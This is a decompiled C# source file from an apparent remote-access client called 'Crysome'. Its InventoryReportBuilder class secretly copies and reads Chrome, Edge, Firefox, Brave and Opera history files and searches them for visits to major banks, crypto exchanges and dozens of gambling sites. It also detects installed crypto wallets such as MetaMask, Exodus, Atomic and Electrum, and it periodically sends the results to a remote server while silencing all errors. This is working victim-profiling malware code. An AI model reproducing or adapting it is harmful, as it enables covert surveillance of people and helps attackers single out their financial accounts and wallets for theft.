using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Text.Json; using System.Threading; using Crysome.Common.Network; using Crysome.Common.Network.Packets; using Crysome.Common.Network.Packets.Client; using Microsoft.Win32; namespace Crysome.Client.Inventory; internal static class InventoryReportBuilder { private static int _infoPollCounter; private const string DefaultRulesJson = "{\"enabledAppIds\":[\"chrome\",\"firefox\",\"edge\",\"discord\",\"steam\",\"telegram\",\"vscode\",\"notepad_plus_plus\",\"vlc\",\"python\",\"brave\",\"opera\",\"zoom\",\"slack\",\"whatsapp\",\"metamask\",\"exodus\",\"atomic\",\"electrum\"],\"customPaths\":[],\"enabledBankIds\":[\"chase\",\"bankofamerica\",\"wellsfargo\",\"paypal\",\"coinbase_bank\",\"binance\",\"kraken\",\"robinhood\",\"venmo\",\"cashapp\",\"usbank\",\"capitalone\",\"citibank\"],\"enabledCasinoIds\":[\"bet365\",\"draftkings\",\"fanduel\",\"caesars\",\"betmgm\",\"pokerstars\",\"888casino\",\"betonline\",\"bovada\",\"ignitioncasino\",\"betway\",\"1xbet\",\"22bet\",\"bet9ja\",\"betano\",\"betsson\",\"casumo\",\"leovegas\",\"william_hill\",\"unibet\",\"betfair\",\"partycasino\",\"spin_casino\",\"jackpot_city\",\"ruby_fortune\",\"lucky_nugget\"]}"; private static Dictionary _registryDisplayNames; private static readonly Dictionary AppKeywords = new Dictionary(StringComparer.OrdinalIgnoreCase) { { "chrome", new string[1] { "google chrome" } }, { "firefox", new string[1] { "mozilla firefox" } }, { "edge", new string[1] { "microsoft edge" } }, { "discord", new string[1] { "discord" } }, { "steam", new string[1] { "steam" } }, { "telegram", new string[1] { "telegram" } }, { "vscode", new string[2] { "visual studio code", "vscode" } }, { "notepad_plus_plus", new string[1] { "notepad++" } }, { "vlc", new string[1] { "vlc media" } }, { "python", new string[1] { "python" } }, { "brave", new string[1] { "brave" } }, { "opera", new string[2] { "opera", "opera gx" } }, { "zoom", new string[1] { "zoom" } }, { "slack", new string[1] { "slack" } }, { "whatsapp", new string[1] { "whatsapp" } }, { "exodus", new string[1] { "exodus" } }, { "atomic", new string[1] { "atomic wallet" } }, { "electrum", new string[1] { "electrum" } } }; private static readonly Dictionary AppFilePaths = new Dictionary(StringComparer.OrdinalIgnoreCase) { { "chrome", new string[3] { "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", "%LocalAppData%\\Google\\Chrome\\Application\\chrome.exe" } }, { "firefox", new string[2] { "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe" } }, { "edge", new string[1] { "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe" } }, { "discord", new string[1] { "%LocalAppData%\\Discord\\Update.exe" } }, { "telegram", new string[1] { "%AppData%\\Telegram Desktop\\Telegram.exe" } }, { "vscode", new string[1] { "%LocalAppData%\\Programs\\Microsoft VS Code\\Code.exe" } }, { "brave", new string[2] { "%ProgramFiles%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "%LocalAppData%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" } }, { "opera", new string[3] { "%AppData%\\Opera Software\\Opera Stable\\opera.exe", "%LocalAppData%\\Programs\\Opera\\opera.exe", "%LocalAppData%\\Programs\\Opera GX\\opera.exe" } }, { "zoom", new string[3] { "%AppData%\\Zoom\\bin\\Zoom.exe", "%ProgramFiles%\\Zoom\\bin\\Zoom.exe", "%ProgramFiles(x86)%\\Zoom\\bin\\Zoom.exe" } }, { "slack", new string[1] { "%LocalAppData%\\slack\\slack.exe" } }, { "whatsapp", new string[1] { "%LocalAppData%\\WhatsApp\\WhatsApp.exe" } }, { "exodus", new string[2] { "%LocalAppData%\\Exodus\\Exodus.exe", "%AppData%\\Exodus\\Exodus.exe" } }, { "atomic", new string[1] { "%AppData%\\atomic\\Atomic.exe" } }, { "electrum", new string[1] { "%AppData%\\Electrum\\electrum.exe" } } }; private static readonly string[] MetaMaskExtensionPaths = new string[2] { Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default\\Extensions\\nkbihfbeogaeaoehlefnkodbefgpgknn"), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data\\Default\\Extensions\\ejbalbakoplchlghecdalmeeeajnimhm") }; private static readonly Dictionary BankUrlPatterns = new Dictionary(StringComparer.OrdinalIgnoreCase) { { "chase", new string[1] { "chase.com" } }, { "bankofamerica", new string[1] { "bankofamerica.com" } }, { "wellsfargo", new string[1] { "wellsfargo.com" } }, { "paypal", new string[1] { "paypal.com" } }, { "coinbase_bank", new string[1] { "coinbase.com" } }, { "binance", new string[2] { "binance.com", "binance.us" } }, { "kraken", new string[1] { "kraken.com" } }, { "robinhood", new string[1] { "robinhood.com" } }, { "venmo", new string[1] { "venmo.com" } }, { "cashapp", new string[2] { "cash.app", "cashapp.com" } }, { "usbank", new string[1] { "usbank.com" } }, { "capitalone", new string[1] { "capitalone.com" } }, { "citibank", new string[2] { "citi.com", "citibank.com" } } }; private static readonly Dictionary CasinoUrlPatterns = new Dictionary(StringComparer.OrdinalIgnoreCase) { { "bet365", new string[1] { "bet365.com" } }, { "draftkings", new string[1] { "draftkings.com" } }, { "fanduel", new string[1] { "fanduel.com" } }, { "caesars", new string[2] { "caesars.com", "caesarsonline.com" } }, { "betmgm", new string[1] { "betmgm.com" } }, { "pokerstars", new string[2] { "pokerstars.com", "pokerstars.net" } }, { "888casino", new string[3] { "888casino.com", "888sport.com", "888poker.com" } }, { "betonline", new string[1] { "betonline.ag" } }, { "bovada", new string[1] { "bovada.lv" } }, { "ignitioncasino", new string[1] { "ignitioncasino.eu" } }, { "betway", new string[1] { "betway.com" } }, { "1xbet", new string[2] { "1xbet.com", "1x-bet.com" } }, { "22bet", new string[1] { "22bet.com" } }, { "bet9ja", new string[1] { "bet9ja.com" } }, { "betano", new string[1] { "betano.com" } }, { "betsson", new string[1] { "betsson.com" } }, { "casumo", new string[1] { "casumo.com" } }, { "leovegas", new string[1] { "leovegas.com" } }, { "william_hill", new string[1] { "williamhill.com" } }, { "unibet", new string[1] { "unibet.com" } }, { "betfair", new string[1] { "betfair.com" } }, { "partycasino", new string[2] { "partycasino.com", "partypoker.com" } }, { "spin_casino", new string[1] { "spincasino.com" } }, { "jackpot_city", new string[1] { "jackpotcitycasino.com" } }, { "ruby_fortune", new string[1] { "rubyfortune.com" } }, { "lucky_nugget", new string[1] { "luckynuggetcasino.com" } } }; private const int MaxHistoryBytes = 4194304; public static void OnClientInfoPoll(CrysomeClient client) { //IL_0037: Unknown result type (might be due to invalid IL or missing references) //IL_003c: Unknown result type (might be due to invalid IL or missing references) //IL_0043: Unknown result type (might be due to invalid IL or missing references) //IL_004a: Unknown result type (might be due to invalid IL or missing references) //IL_0056: Expected O, but got Unknown if (client == null || !client.IsConnected || Interlocked.Increment(ref _infoPollCounter) % 15 != 0) { return; } try { string rulesJson = LoadRulesJson(); string appsJson = BuildAppsJson(rulesJson); string bankJson = BuildBankJson(rulesJson); string casinoJson = BuildCasinoJson(rulesJson); client.SendPacket((IPacket)new ClientInventoryReportPacket { AppsJson = appsJson, BankJson = bankJson, CasinoJson = casinoJson }); } catch { } } public static string LoadRulesJson() { string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; string[] array = new string[2] { "inventory_rules.json", "Inventory\\default_inventory_rules.json" }; foreach (string path in array) { try { string path2 = Path.Combine(baseDirectory, path); if (File.Exists(path2)) { return File.ReadAllText(path2, Encoding.UTF8); } } catch { } } return "{\"enabledAppIds\":[\"chrome\",\"firefox\",\"edge\",\"discord\",\"steam\",\"telegram\",\"vscode\",\"notepad_plus_plus\",\"vlc\",\"python\",\"brave\",\"opera\",\"zoom\",\"slack\",\"whatsapp\",\"metamask\",\"exodus\",\"atomic\",\"electrum\"],\"customPaths\":[],\"enabledBankIds\":[\"chase\",\"bankofamerica\",\"wellsfargo\",\"paypal\",\"coinbase_bank\",\"binance\",\"kraken\",\"robinhood\",\"venmo\",\"cashapp\",\"usbank\",\"capitalone\",\"citibank\"],\"enabledCasinoIds\":[\"bet365\",\"draftkings\",\"fanduel\",\"caesars\",\"betmgm\",\"pokerstars\",\"888casino\",\"betonline\",\"bovada\",\"ignitioncasino\",\"betway\",\"1xbet\",\"22bet\",\"bet9ja\",\"betano\",\"betsson\",\"casumo\",\"leovegas\",\"william_hill\",\"unibet\",\"betfair\",\"partycasino\",\"spin_casino\",\"jackpot_city\",\"ruby_fortune\",\"lucky_nugget\"]}"; } private static string BuildAppsJson(string rulesJson) { //IL_0009: Unknown result type (might be due to invalid IL or missing references) //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0018: Unknown result type (might be due to invalid IL or missing references) //IL_001d: Unknown result type (might be due to invalid IL or missing references) //IL_0033: Unknown result type (might be due to invalid IL or missing references) //IL_0038: Unknown result type (might be due to invalid IL or missing references) //IL_003c: Unknown result type (might be due to invalid IL or missing references) //IL_0041: Unknown result type (might be due to invalid IL or missing references) //IL_00c6: Unknown result type (might be due to invalid IL or missing references) //IL_00cb: Unknown result type (might be due to invalid IL or missing references) //IL_00cf: Unknown result type (might be due to invalid IL or missing references) //IL_00d4: Unknown result type (might be due to invalid IL or missing references) //IL_0047: Unknown result type (might be due to invalid IL or missing references) //IL_004c: Unknown result type (might be due to invalid IL or missing references) //IL_00dd: Unknown result type (might be due to invalid IL or missing references) //IL_00e2: Unknown result type (might be due to invalid IL or missing references) List> list = new List>(); try { JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions)); try { JsonElement rootElement = val.RootElement; JsonElement val2 = default(JsonElement); JsonElement.ArrayEnumerator val3; JsonElement.ArrayEnumerator enumerator; if (rootElement.TryGetProperty("enabledAppIds", out val2)) { val3 = val2.EnumerateArray(); enumerator = val3.GetEnumerator(); try { while (enumerator.MoveNext()) { JsonElement current = enumerator.Current; string text = current.GetString(); if (!string.IsNullOrWhiteSpace(text)) { text = text.Trim(); list.Add(new Dictionary { { "id", text }, { "present", DetectApp(text) } }); } } } finally { enumerator.Dispose(); } } JsonElement val4 = default(JsonElement); if (rootElement.TryGetProperty("customPaths", out val4)) { val3 = val4.EnumerateArray(); enumerator = val3.GetEnumerator(); try { JsonElement val5 = default(JsonElement); JsonElement val6 = default(JsonElement); while (enumerator.MoveNext()) { JsonElement current2 = enumerator.Current; string text2 = (current2.TryGetProperty("path", out val5) ? val5.GetString() : null); string text3 = (current2.TryGetProperty("label", out val6) ? val6.GetString() : "path"); if (!string.IsNullOrWhiteSpace(text2)) { if (string.IsNullOrWhiteSpace(text3)) { text3 = "path"; } string value = "custom:" + text3.Replace(' ', '_'); string path = Environment.ExpandEnvironmentVariables(text2.Trim()); list.Add(new Dictionary { { "id", value }, { "present", File.Exists(path) || Directory.Exists(path) }, { "detail", text2 } }); } } } finally { enumerator.Dispose(); } } } finally { ((IDisposable)val)?.Dispose(); } } catch { } return JsonSerializer.Serialize>(new Dictionary { { "items", list } }, (JsonSerializerOptions)null); } private static string BuildBankJson(string rulesJson) { //IL_0009: Unknown result type (might be due to invalid IL or missing references) //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0018: Unknown result type (might be due to invalid IL or missing references) //IL_001d: Unknown result type (might be due to invalid IL or missing references) //IL_005e: Unknown result type (might be due to invalid IL or missing references) //IL_0063: Unknown result type (might be due to invalid IL or missing references) //IL_0067: Unknown result type (might be due to invalid IL or missing references) //IL_006c: Unknown result type (might be due to invalid IL or missing references) //IL_0075: Unknown result type (might be due to invalid IL or missing references) //IL_007a: Unknown result type (might be due to invalid IL or missing references) List> list = new List>(); try { JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions)); try { JsonElement rootElement = val.RootElement; JsonElement val2 = default(JsonElement); if (!rootElement.TryGetProperty("enabledBankIds", out val2)) { return "{\"items\":[]}"; } byte[] array = ReadBrowserHistoryBytes(); string text = ((array != null && array.Length != 0) ? Encoding.ASCII.GetString(array) : ""); JsonElement.ArrayEnumerator val3 =val2.EnumerateArray(); JsonElement.ArrayEnumerator enumerator = val3.GetEnumerator(); try { while (enumerator.MoveNext()) { JsonElement current = enumerator.Current; string text2 = current.GetString(); if (string.IsNullOrWhiteSpace(text2)) { continue; } text2 = text2.Trim(); if (!BankUrlPatterns.TryGetValue(text2, out var value)) { continue; } bool flag = false; string[] array2 = value; foreach (string value2 in array2) { if (text.IndexOf(value2, StringComparison.OrdinalIgnoreCase) >= 0) { flag = true; break; } } list.Add(new Dictionary { { "id", text2 }, { "present", flag } }); } } finally { enumerator.Dispose(); } } finally { ((IDisposable)val)?.Dispose(); } } catch { } return JsonSerializer.Serialize>(new Dictionary { { "items", list } }, (JsonSerializerOptions)null); } private static string BuildCasinoJson(string rulesJson) { //IL_0009: Unknown result type (might be due to invalid IL or missing references) //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0018: Unknown result type (might be due to invalid IL or missing references) //IL_001d: Unknown result type (might be due to invalid IL or missing references) //IL_005e: Unknown result type (might be due to invalid IL or missing references) //IL_0063: Unknown result type (might be due to invalid IL or missing references) //IL_0067: Unknown result type (might be due to invalid IL or missing references) //IL_006c: Unknown result type (might be due to invalid IL or missing references) //IL_0075: Unknown result type (might be due to invalid IL or missing references) //IL_007a: Unknown result type (might be due to invalid IL or missing references) List> list = new List>(); try { JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions)); try { JsonElement rootElement = val.RootElement; JsonElement val2 = default(JsonElement); if (!rootElement.TryGetProperty("enabledCasinoIds", out val2)) { return "{\"items\":[]}"; } byte[] array = ReadBrowserHistoryBytes(); string text = ((array != null && array.Length != 0) ? Encoding.ASCII.GetString(array) : ""); JsonElement.ArrayEnumerator val3 =val2.EnumerateArray(); JsonElement.ArrayEnumerator enumerator = val3.GetEnumerator(); try { while (enumerator.MoveNext()) { JsonElement current = enumerator.Current; string text2 = current.GetString(); if (string.IsNullOrWhiteSpace(text2)) { continue; } text2 = text2.Trim(); if (!CasinoUrlPatterns.TryGetValue(text2, out var value)) { continue; } bool flag = false; string[] array2 = value; foreach (string value2 in array2) { if (text.IndexOf(value2, StringComparison.OrdinalIgnoreCase) >= 0) { flag = true; break; } } list.Add(new Dictionary { { "id", text2 }, { "present", flag } }); } } finally { enumerator.Dispose(); } } finally { ((IDisposable)val)?.Dispose(); } } catch { } return JsonSerializer.Serialize>(new Dictionary { { "items", list } }, (JsonSerializerOptions)null); } private static byte[] ReadBrowserHistoryBytes() { string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); string[] obj = new string[5] { Path.Combine(folderPath, "Google\\Chrome\\User Data\\Default\\History"), Path.Combine(folderPath, "Microsoft\\Edge\\User Data\\Default\\History"), Path.Combine(folderPath2, "Mozilla\\Firefox\\Profiles"), Path.Combine(folderPath, "BraveSoftware\\Brave-Browser\\User Data\\Default\\History"), Path.Combine(folderPath2, "Opera Software\\Opera Stable\\History") }; List list = new List(); string[] array = obj; foreach (string text in array) { try { if (text.EndsWith("Profiles", StringComparison.OrdinalIgnoreCase) && Directory.Exists(text)) { string[] directories = Directory.GetDirectories(text); for (int j = 0; j < directories.Length; j++) { TryAppendFileBytes(Path.Combine(directories[j], "places.sqlite"), list); } continue; } TryAppendFileBytes(text, list); } catch { } if (list.Count >= 4194304) { break; } } if (list.Count <= 0) { return null; } return list.ToArray(); } private static void TryAppendFileBytes(string path, List dest) { if (!File.Exists(path)) { return; } string text = Path.Combine(Path.GetTempPath(), "csm_bh_" + Guid.NewGuid().ToString("N") + ".tmp"); try { File.Copy(path, text, overwrite: true); byte[] array = File.ReadAllBytes(text); int num = Math.Min(array.Length, 4194304 - dest.Count); if (num > 0) { dest.AddRange(array.Take(num)); } } finally { try { File.Delete(text); } catch { } } } private static bool DetectApp(string id) { if (id.Equals("metamask", StringComparison.OrdinalIgnoreCase)) { string[] metaMaskExtensionPaths = MetaMaskExtensionPaths; for (int i = 0; i < metaMaskExtensionPaths.Length; i++) { if (Directory.Exists(metaMaskExtensionPaths[i])) { return true; } } return false; } if (AppKeywords.TryGetValue(id, out var value) && value != null) { string[] metaMaskExtensionPaths = value; for (int i = 0; i < metaMaskExtensionPaths.Length; i++) { if (RegistryDisplayNameContains(metaMaskExtensionPaths[i])) { return true; } } } if (AppFilePaths.TryGetValue(id, out var value2) && value2 != null) { string[] metaMaskExtensionPaths = value2; foreach (string text in metaMaskExtensionPaths) { if (text.IndexOf('*') < 0 && File.Exists(Environment.ExpandEnvironmentVariables(text))) { return true; } } } return false; } private static bool RegistryDisplayNameContains(string needle) { needle = (needle ?? "").ToLowerInvariant(); if (needle.Length == 0) { return false; } if (_registryDisplayNames == null) { _registryDisplayNames = new Dictionary(StringComparer.OrdinalIgnoreCase); var array = new[] { new { Hive = Registry.LocalMachine, Sub = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }, new { Hive = Registry.LocalMachine, Sub = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }, new { Hive = Registry.CurrentUser, Sub = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" } }; foreach (var anon in array) { try { using RegistryKey registryKey = anon.Hive.OpenSubKey(anon.Sub); if (registryKey == null) { continue; } string[] subKeyNames = registryKey.GetSubKeyNames(); foreach (string text in subKeyNames) { try { using RegistryKey registryKey2 = registryKey.OpenSubKey(text); if (registryKey2?.GetValue("DisplayName") is string text2) { _registryDisplayNames[text + "|" + anon.Sub] = text2.ToLowerInvariant(); } } catch { } } } catch { } } } foreach (KeyValuePair registryDisplayName in _registryDisplayNames) { if (registryDisplayName.Value.IndexOf(needle, StringComparison.Ordinal) >= 0) { return true; } } return false; } }